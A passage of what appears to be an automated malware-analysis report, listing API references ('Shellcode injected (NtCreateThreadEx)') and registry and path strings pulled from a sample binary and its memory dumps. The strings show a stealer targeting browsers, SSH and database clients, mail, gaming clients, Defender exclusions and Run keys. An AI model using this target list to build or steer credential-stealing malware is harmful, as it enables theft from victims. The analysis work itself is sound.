"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin")4d:T468,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "LockResource" (Indicator: "LockResource"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")4e:Ta82,Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "CreateThread"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "CreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "CreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "CreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")4f:T7870,"\BraveSoftware\Brave-Browser\User Data" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "\AVAST Software\Browser\User Data" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "%s\BraveSoftware\Brave-Browser\User Data" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "%s\Opera Software\Opera Stable" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Google Chrome" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "%s\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "%s\BraveSoftware\Brave-Browser\Application" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "BraveSoftware\Brave-Browser" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "%s\Opera Software\Opera Neon\Application\neon.exe" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "%s\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "%s\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows Defender" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows Advanced Threat Protection" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Classes\http\shell\open\command" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Classes\http\shell\open\command" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "raveSoftware\Brave-Browser\User Data" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\%s\%s-Qt" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "BraveSoftware\Brave-Browser\User Data" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Opera Software\Opera Stable" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Opera Software\Opera GX Stable" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Avast Software\Browser\User Data" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Opera Software\Opera Neon\User Data" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Classes\%s\DefaultIcon" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Classes\%s\shell\open\command" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Valve\Steam" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Martin Prikryl\WinSCP 2\Configuration\Security" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Martin Prikryl\WinSCP 2\Sessions\%s" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Foxmail\Install" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\WOW6432Node\Foxmail\Install" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Foxmail" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\WOW6432Node\Foxmail" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Foxmail.exe" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Tencent\WeChat" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Epic Games\EOS" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Electronic Arts\EA Desktop" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\GOG.com\GalaxyClient\paths" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "BraveSoftware\Brave-Browser-Beta\User Data" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Opera Software\Opera Crypto Stable" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Opera Software\Opera Crypto Developer" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Opera Software\Opera Developer" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Opera Software\Opera Next" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "AVAST Software\Browser\User Data" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Mobatek\MobaXterm\Sessions" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Mobatek\MobaXterm\Passwords" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Mobatek\MobaXterm\Credentials" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Mobatek\MobaXterm\M" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\SimonTatham\PuTTY\Sessions" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\SimonTatham\PuTTY\Sessions\%s" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\SimonTatham\PuTTY\SshHostKeys" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\9bis.com\KiTTY\Sessions" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\9bis.com\KiTTY\Sessions\%s" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\PremiumSoft\Navicat\Servers" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\PremiumSoft\NavicatPG\Servers" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\PremiumSoft\NavicatMARIADB\Servers" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\PremiumSoft\NavicatMONGODB\Servers" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\PremiumSoft\NavicatMSSQL\Servers" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\PremiumSoft\NavicatORA\Servers" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\PremiumSoft\NavicatSQLite\Servers" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\HeidiSQL\Servers" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\HeidiSQL\Servers\%s" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Terminal Server Client\Default" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Terminal Server Client\Servers" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Terminal Server Client\Servers\%s" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SYSTEM\CurrentControlSet\Control\Lsa" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "HKCU\Run" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "HKLM\Run" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "HKCU\RunOnce" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "HKLM\RunOnce" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "HKCU\Policies\Run" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "HKLM\Policies\Run" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "HKLM\Run (32-bit)" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "HKCU\Run (Disabled)" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "HKLM\Run (Disabled)" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Policies\Microsoft\Windows\System" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Policies\Microsoft\Windows\WinRE" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SYSTEM\CurrentControlSet\Services\USBSTOR" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Policies\Google\Chrome" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Policies\Microsoft\Edge" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin "SOFTWARE\Microsoft\NetSh" in Source: 00000000-00001716.00000000.127245.9F56B000.00000002.mdmp "System\CurrentControlSet\Services\RemoteAccess\Parameters" in Source: 00000000-00001716.00000000.127245.9F56B000.00000002.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006516.00000000.126823.C4040000.00000004.mdmp 00000000-00006516.00000001.128744.C4040000.00000004.mdmp 00000000-00006516.00000002.130666.C4040000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006516.00000000.126823.C4040000.00000004.mdmp 00000000-00006516.00000001.128744.C4040000.00000004.mdmp 00000000-00006516.00000002.130666.C4040000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006516.00000000.126823.C4040000.00000004.mdmp 00000000-00006516.00000001.128744.C4040000.00000004.mdmp 00000000-00006516.00000002.130666.C4040000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0" in Source: 00000000-00006516.00000000.126823.C4040000.00000004.mdmp 00000000-00006516.00000001.128744.C4040000.00000004.mdmp 00000000-00006516.00000002.130666.C4040000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4" in Source: 00000000-00006516.00000000.126823.C4040000.00000004.mdmp 00000000-00006516.00000001.128744.C4040000.00000004.mdmp 00000000-00006516.00000002.130666.C4040000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00006516.00000000.126823.C4040000.00000004.mdmp 00000000-00006516.00000001.128744.C4040000.00000004.mdmp 00000000-00006516.00000002.130666.C4040000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00006516.00000000.126823.C4040000.00000004.mdmp 00000000-00006516.00000001.128744.C4040000.00000004.mdmp 00000000-00006516.00000002.130666.C4040000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00006516.00000000.126823.C4040000.00000004.mdmp 00000000-00006516.00000001.128744.C4040000.00000004.mdmp 00000000-00006516.00000002.130666.C4040000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006516.00000000.126823.C4040000.00000004.mdmp 00000000-00006516.00000001.128744.C4040000.00000004.mdmp 00000000-00006516.00000002.130666.C4040000.00000004.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "\AVAST Software\Browser\User Data" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Google Chrome" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\Application" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "BraveSoftware\Brave-Browser" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "%s\Opera Software\Opera Neon\Application\neon.exe" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "%s\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "%s\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows Advanced Threat Protection" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Classes\http\shell\open\command" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Classes\http\shell\open\command" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\%s\%s-Qt" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Opera Software\Opera Stable" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Avast Software\Browser\User Data" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Opera Software\Opera Neon\User Data" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Classes\%s\DefaultIcon" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Classes\%s\shell\open\command" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Valve\Steam" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Configuration\Security" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions\%s" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Foxmail\Install" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\WOW6432Node\Foxmail\Install" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Foxmail" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\WOW6432Node\Foxmail" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Foxmail.exe" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp 